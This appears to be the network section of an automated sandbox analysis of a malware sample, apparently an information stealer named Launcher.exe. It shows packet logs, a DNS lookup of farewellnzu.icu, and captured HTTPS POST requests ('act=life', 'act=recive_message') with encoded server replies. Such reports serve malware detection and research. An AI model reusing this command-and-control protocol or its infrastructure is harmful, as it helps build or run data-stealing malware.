Nov 23, 2024 15:12:56.824656010 CET	443	49699	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:56.824773073 CET	443	49699	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:56.824841022 CET	49699	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:56.826350927 CET	49699	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:56.826363087 CET	443	49699	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:56.826380014 CET	49699	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:56.826386929 CET	443	49699	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:56.894089937 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:56.894130945 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:56.894201994 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:56.895020008 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:56.895035028 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.155812979 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.155925989 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:58.157526016 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:58.157533884 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.157854080 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.159085989 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:58.159112930 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:58.159167051 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.873917103 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.873965979 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.874015093 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:58.874025106 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.874080896 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.874118090 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.874120951 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:58.874130011 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.874171019 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:58.876502037 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.884938955 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.884990931 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:58.885001898 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.893465996 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.893516064 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:58.893523932 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:58.947233915 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:58.993577957 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:59.041001081 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:59.094835043 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:59.098459005 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:59.098593950 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:59.099560022 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:59.099880934 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:59.099900007 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:59.099922895 CET	49700	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:59.099929094 CET	443	49700	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:59.194152117 CET	49701	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:59.194242954 CET	443	49701	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:59.194330931 CET	49701	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:59.194700956 CET	49701	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:59.194737911 CET	443	49701	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:00.455862999 CET	443	49701	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:00.455992937 CET	49701	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:00.457305908 CET	49701	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:00.457340002 CET	443	49701	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:00.457694054 CET	443	49701	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:00.458870888 CET	49701	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:00.459079981 CET	49701	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:00.459129095 CET	443	49701	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:01.239933968 CET	443	49701	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:01.240096092 CET	443	49701	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:01.240185022 CET	49701	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:01.240328074 CET	49701	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:01.240371943 CET	443	49701	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:01.321338892 CET	49702	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:01.321388006 CET	443	49702	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:01.321595907 CET	49702	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:01.321896076 CET	49702	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:01.321922064 CET	443	49702	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:02.633691072 CET	443	49702	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:02.633811951 CET	49702	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:02.653624058 CET	49702	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:02.653647900 CET	443	49702	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:02.654014111 CET	443	49702	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:02.655536890 CET	49702	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:02.655688047 CET	49702	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:02.655724049 CET	443	49702	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:02.655774117 CET	49702	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:02.699371099 CET	443	49702	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:03.413450003 CET	443	49702	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:03.413566113 CET	443	49702	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:03.413623095 CET	49702	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:03.413747072 CET	49702	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:03.413764954 CET	443	49702	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:03.607177973 CET	49703	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:03.607255936 CET	443	49703	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:03.607353926 CET	49703	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:03.607830048 CET	49703	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:03.607866049 CET	443	49703	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:04.879388094 CET	443	49703	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:04.879611969 CET	49703	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:04.881010056 CET	49703	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:04.881036043 CET	443	49703	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:04.881300926 CET	443	49703	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:04.882678032 CET	49703	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:04.882846117 CET	49703	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:04.882894993 CET	443	49703	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:04.882967949 CET	49703	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:04.882986069 CET	443	49703	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:05.802805901 CET	443	49703	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:05.802902937 CET	443	49703	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:05.802974939 CET	49703	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:05.803095102 CET	49703	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:05.803133011 CET	443	49703	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:06.005470991 CET	49705	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:06.005548954 CET	443	49705	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:06.005636930 CET	49705	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:06.005986929 CET	49705	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:06.006026983 CET	443	49705	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:07.273400068 CET	443	49705	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:07.273471117 CET	49705	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:07.274794102 CET	49705	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:07.274823904 CET	443	49705	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:07.275079966 CET	443	49705	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:07.276607990 CET	49705	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:07.276696920 CET	49705	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:07.276710033 CET	443	49705	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:07.978266001 CET	443	49705	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:07.978368998 CET	443	49705	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:07.978424072 CET	49705	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:07.978615046 CET	49705	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:07.978637934 CET	443	49705	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:08.498517036 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:08.498542070 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:08.498615026 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:08.498943090 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:08.498951912 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:09.880930901 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:09.881038904 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.882291079 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.882316113 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:09.882577896 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:09.911448002 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.912528992 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.912589073 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:09.912708044 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.912763119 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:09.912916899 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.912966967 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:09.913145065 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.913225889 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:09.913429022 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.913492918 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:09.913712025 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.913765907 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:09.913795948 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.913825989 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:09.913932085 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.913979053 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:09.914022923 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.914124012 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.914186001 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.959331989 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:09.959583044 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.959683895 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:09.959748983 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.959805012 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:09.959882021 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:09.959934950 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:12.205096006 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:12.205185890 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:12.205302000 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:12.205461025 CET	49711	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:12.205504894 CET	443	49711	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:12.274583101 CET	49724	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:12.274626970 CET	443	49724	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:12.274703026 CET	49724	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:12.275221109 CET	49724	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:12.275247097 CET	443	49724	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:13.547934055 CET	443	49724	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:13.548013926 CET	49724	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:13.549526930 CET	49724	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:13.549549103 CET	443	49724	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:13.549803019 CET	443	49724	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:13.551059008 CET	49724	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:13.551100016 CET	49724	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:13.551157951 CET	443	49724	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:14.265322924 CET	443	49724	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:14.265415907 CET	443	49724	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:14.265620947 CET	49724	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:14.265702009 CET	49724	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:14.265736103 CET	443	49724	172.67.198.61	192.168.2.6
Nov 23, 2024 15:13:14.265763044 CET	49724	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:13:14.265782118 CET	443	49724	172.67.198.61	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 15:12:54.620918036 CET	59142	53	192.168.2.6	1.1.1.1
Nov 23, 2024 15:12:54.858772993 CET	53	59142	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 15:12:54.620918036 CET	192.168.2.6	1.1.1.1	0xe306	Standard query (0)	farewellnzu.icu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 15:12:54.858772993 CET	1.1.1.1	192.168.2.6	0xe306	No error (0)	farewellnzu.icu		172.67.198.61	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:12:54.858772993 CET	1.1.1.1	192.168.2.6	0xe306	No error (0)	farewellnzu.icu		104.21.44.93	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

farewellnzu.icu

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49699	172.67.198.61	443	5688	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:12:56 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: farewellnzu.icu
2024-11-23 14:12:56 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 14:12:56 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:12:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bur5qqo4rim4r991pducgjjtru; expires=Wed, 19-Mar-2025 07:59:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YG9jtUs8ZycjsW79WSKy4pRRz12Nbkj7L7Z%2FMIypbQjlYPiRa2p%2BUCx%2BRPcz%2Bb0fF06Vz6jqVYV%2Bn5u28Kv2I5A%2BJ9g5EP185At8VWb8hOTYZhg5ilZ8cg6tlvAtcbGxcH8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71c1cc8cb1436c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1578&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1778319&cwnd=244&unsent_bytes=0&cid=24769fd4ad5a4a7f&ts=703&x=0"
2024-11-23 14:12:56 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 14:12:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49700	172.67.198.61	443	5688	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:12:58 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 54 Host: farewellnzu.icu
2024-11-23 14:12:58 UTC	54	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 7a 6e 6e 75 61 6f 73 76 67 68 75 6e 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--znnuaosvghun&j=
2024-11-23 14:12:58 UTC	1019	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:12:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=67o4365p4tdlm39j3pc1hg4167; expires=Wed, 19-Mar-2025 07:59:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n9qQw%2FP75BnFIBHGvBS3z0fYKYQd4gps61JvLvg7XY8ZN%2FOqxAvo%2Bh49jw0%2Fs4QqAHH%2BdNYOzLnpAjaW8IuJp5c9eM%2FzfljEgJ%2B1%2BEzGL7n1De3F7vXSSKgsOnxsXlL4xCg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71c1d94dd843e3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2117&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=953&delivery_rate=1435594&cwnd=234&unsent_bytes=0&cid=de69c5fb0d85fd21&ts=726&x=0"
2024-11-23 14:12:58 UTC	350	IN	Data Raw: 34 34 36 63 0d 0a 4a 53 31 51 51 44 33 49 74 36 7a 71 71 41 49 36 36 30 48 59 39 5a 38 32 50 34 6b 4e 59 68 44 4d 51 64 45 6e 6f 34 38 37 7a 31 4a 65 44 79 5a 69 42 2f 79 62 6a 70 6e 4e 49 41 43 66 4d 36 32 51 73 78 52 65 37 53 39 59 64 71 30 74 6f 6b 4b 50 72 55 32 69 63 42 39 4c 4d 53 78 4f 72 5a 75 4f 6a 39 41 67 41 4c 41 36 2b 70 44 78 46 41 57 72 61 41 68 79 72 53 32 7a 52 73 6a 67 53 36 4d 78 54 55 45 33 4b 46 69 72 30 38 32 47 78 57 64 66 6a 69 43 79 6d 2f 5a 62 56 2b 51 76 54 6a 4b 70 4f 2f 4d 64 67 63 4a 65 75 7a 4e 6f 54 43 4d 72 48 37 57 62 31 38 6a 4e 62 42 6a 52 59 37 6d 51 2f 56 70 5a 37 57 59 4b 65 4b 51 6c 73 6b 50 4a 2f 31 4b 70 4f 6b 31 50 4e 43 6c 53 6f 73 66 41 6a 4d 4a 73 57 59 51 67 2b 74 6d 39 55 30 57 72 4e 30 41 68 6e 43 43 69 56 Data Ascii: 446cJS1QQD3It6zqqAI660HY9Z82P4kNYhDMQdEno487z1JeDyZiB/ybjpnNIACfM62QsxRe7S9Ydq0tokKPrU2icB9LMSxOrZuOj9AgALA6+pDxFAWraAhyrS2zRsjgS6MxTUE3KFir082GxWdfjiCym/ZbV+QvTjKpO/MdgcJeuzNoTCMrH7Wb18jNbBjRY7mQ/VpZ7WYKeKQlskPJ/1KpOk1PNClSosfAjMJsWYQg+tm9U0WrN0AhnCCiV
2024-11-23 14:12:58 UTC	1369	IN	Data Raw: 4e 43 78 65 70 39 58 63 67 4d 46 72 58 5a 73 6f 73 35 72 77 56 46 44 68 59 41 4e 79 71 53 6d 35 53 73 76 70 56 4b 41 32 52 30 39 79 62 42 2b 74 7a 59 37 51 69 6b 4e 64 6d 53 53 32 67 62 39 75 48 66 51 68 47 54 4b 70 4c 2f 4d 64 67 65 56 63 72 6a 4e 4d 51 44 45 71 56 4c 6a 56 33 49 37 48 5a 55 71 50 4a 72 53 64 2f 6b 5a 58 35 57 6b 44 65 36 55 71 74 6b 4c 46 72 52 66 74 4e 31 38 50 61 6d 4a 2b 70 39 37 43 67 74 31 67 47 4a 5a 74 6f 39 66 36 57 42 32 7a 4c 77 52 7a 71 69 4b 33 53 38 2f 70 56 61 73 2b 53 6b 41 30 4b 46 2b 74 33 38 61 41 79 32 31 54 68 69 4f 2f 6d 76 6c 53 55 65 70 71 51 44 7a 75 4a 4b 73 46 6d 61 31 33 71 6a 4e 56 44 51 63 68 55 61 54 53 32 4d 6a 56 4c 6b 48 4a 4a 4c 62 58 70 52 52 54 37 6d 41 53 63 37 77 6d 76 56 66 4e 36 46 2b 67 4d 30 6c Data Ascii: NCxep9XcgMFrXZsos5rwVFDhYANyqSm5SsvpVKA2R09ybB+tzY7QikNdmSS2gb9uHfQhGTKpL/MdgeVcrjNMQDEqVLjV3I7HZUqPJrSd/kZX5WkDe6UqtkLFrRftN18PamJ+p97Cgt1gGJZto9f6WB2zLwRzqiK3S8/pVas+SkA0KF+t38aAy21ThiO/mvlSUepqQDzuJKsFma13qjNVDQchUaTS2MjVLkHJJLbXpRRT7mASc7wmvVfN6F+gM0l
2024-11-23 14:12:58 UTC	1369	IN	Data Raw: 61 54 53 32 4d 6a 56 4c 6b 48 4a 4a 4c 62 58 70 52 52 52 34 6d 38 4c 65 4b 6f 6a 74 45 6a 45 37 6c 36 75 50 55 42 46 50 43 56 62 70 74 7a 44 6a 73 70 6e 58 49 77 78 76 35 37 78 57 42 32 6c 4c 77 64 71 37 6e 76 7a 61 73 62 37 57 6f 49 7a 56 6b 5a 79 50 52 47 7a 6c 63 6d 45 69 6a 67 59 6a 69 61 79 6e 50 74 63 58 66 6c 71 44 6e 6d 76 4b 62 56 45 7a 4f 46 66 72 54 46 48 53 54 34 69 57 4b 33 48 33 49 33 4d 63 6c 4c 4a 62 66 71 51 35 52 51 46 71 31 6b 51 5a 62 38 31 38 58 44 43 34 31 65 71 4a 67 64 51 66 44 73 66 72 64 6d 4f 30 49 70 72 57 49 55 6b 73 70 48 35 58 46 4c 6b 5a 68 4a 7a 6f 69 32 68 51 73 48 6b 56 36 49 38 54 6b 49 31 4c 31 53 67 32 4d 71 50 79 79 41 57 79 53 53 69 31 36 55 55 61 2f 74 69 44 46 79 6c 4c 37 6f 46 33 71 4e 41 37 54 64 4c 44 32 70 69 Data Ascii: aTS2MjVLkHJJLbXpRRR4m8LeKojtEjE7l6uPUBFPCVbptzDjspnXIwxv57xWB2lLwdq7nvzasb7WoIzVkZyPRGzlcmEijgYjiaynPtcXflqDnmvKbVEzOFfrTFHST4iWK3H3I3MclLJbfqQ5RQFq1kQZb818XDC41eqJgdQfDsfrdmO0IprWIUkspH5XFLkZhJzoi2hQsHkV6I8TkI1L1Sg2MqPyyAWySSi16UUa/tiDFylL7oF3qNA7TdLD2pi
2024-11-23 14:12:58 UTC	1369	IN	Data Raw: 47 4a 7a 6d 56 64 6a 53 53 2b 6b 66 49 55 45 36 74 6f 47 44 4c 32 59 35 78 69 39 4b 39 34 6c 33 42 59 41 53 74 69 57 4b 61 56 6c 73 6a 47 59 31 53 42 4c 4c 79 65 38 56 35 55 34 47 4d 4c 64 71 49 71 74 6b 50 41 36 46 79 73 4e 45 74 46 4e 43 46 63 70 64 72 42 67 49 6f 75 47 49 34 37 2b 73 2b 39 63 55 72 67 59 51 59 79 73 57 32 71 42 63 62 68 47 66 56 77 53 30 59 30 4a 46 71 6d 31 4d 69 41 7a 32 68 63 69 43 57 38 6c 50 4a 51 57 4f 70 67 42 48 36 67 4b 62 4a 45 7a 65 5a 57 70 6a 55 48 41 58 49 6c 52 2b 71 4e 6a 72 6e 4a 64 6b 2b 5a 4c 2f 71 49 73 30 30 64 37 47 4e 41 4b 75 34 69 6f 55 2f 4c 34 31 79 69 4e 55 52 41 4e 53 39 5a 70 74 2f 48 67 4d 78 76 55 5a 73 67 74 70 6e 36 57 6c 48 6c 59 67 70 78 6f 32 50 39 42 63 62 31 47 66 56 77 61 30 67 2f 44 46 53 6d 30 Data Ascii: GJzmVdjSS+kfIUE6toGDL2Y5xi9K94l3BYAStiWKaVlsjGY1SBLLye8V5U4GMLdqIqtkPA6FysNEtFNCFcpdrBgIouGI47+s+9cUrgYQYysW2qBcbhGfVwS0Y0JFqm1MiAz2hciCW8lPJQWOpgBH6gKbJEzeZWpjUHAXIlR+qNjrnJdk+ZL/qIs00d7GNAKu4ioU/L41yiNURANS9Zpt/HgMxvUZsgtpn6WlHlYgpxo2P9Bcb1GfVwa0g/DFSm0
2024-11-23 14:12:58 UTC	1369	IN	Data Raw: 79 47 4d 64 6a 76 59 2b 39 44 42 33 64 61 42 42 69 72 57 47 43 55 38 4c 37 55 71 41 38 42 31 42 38 4f 78 2b 74 32 59 37 51 69 6d 5a 58 67 43 43 31 6c 76 52 59 55 4f 35 6d 42 58 4f 6f 4a 37 6c 50 77 65 74 66 72 44 56 4e 54 44 4d 6f 56 71 33 64 79 59 76 59 49 42 62 4a 4a 4b 4c 58 70 52 52 30 37 48 30 4f 59 75 34 38 2f 56 79 42 36 6c 58 74 61 41 64 4c 4f 43 31 62 72 64 6e 49 6a 63 78 74 57 59 59 69 75 70 6a 35 58 31 54 74 62 67 31 33 6f 79 65 68 54 38 72 69 56 61 51 38 53 67 39 38 59 6c 69 79 6c 5a 62 49 2b 32 31 57 68 79 53 73 31 2b 49 61 52 4b 74 6f 44 44 4c 32 59 37 4a 4a 7a 75 35 57 72 6a 4e 47 52 53 41 77 55 36 50 64 79 34 54 42 62 6c 36 62 4a 62 57 65 2f 6c 64 55 37 47 63 4d 65 4b 30 6b 38 77 75 42 36 6b 48 74 61 41 64 73 4a 54 4a 53 36 73 71 41 6b 59 Data Ascii: 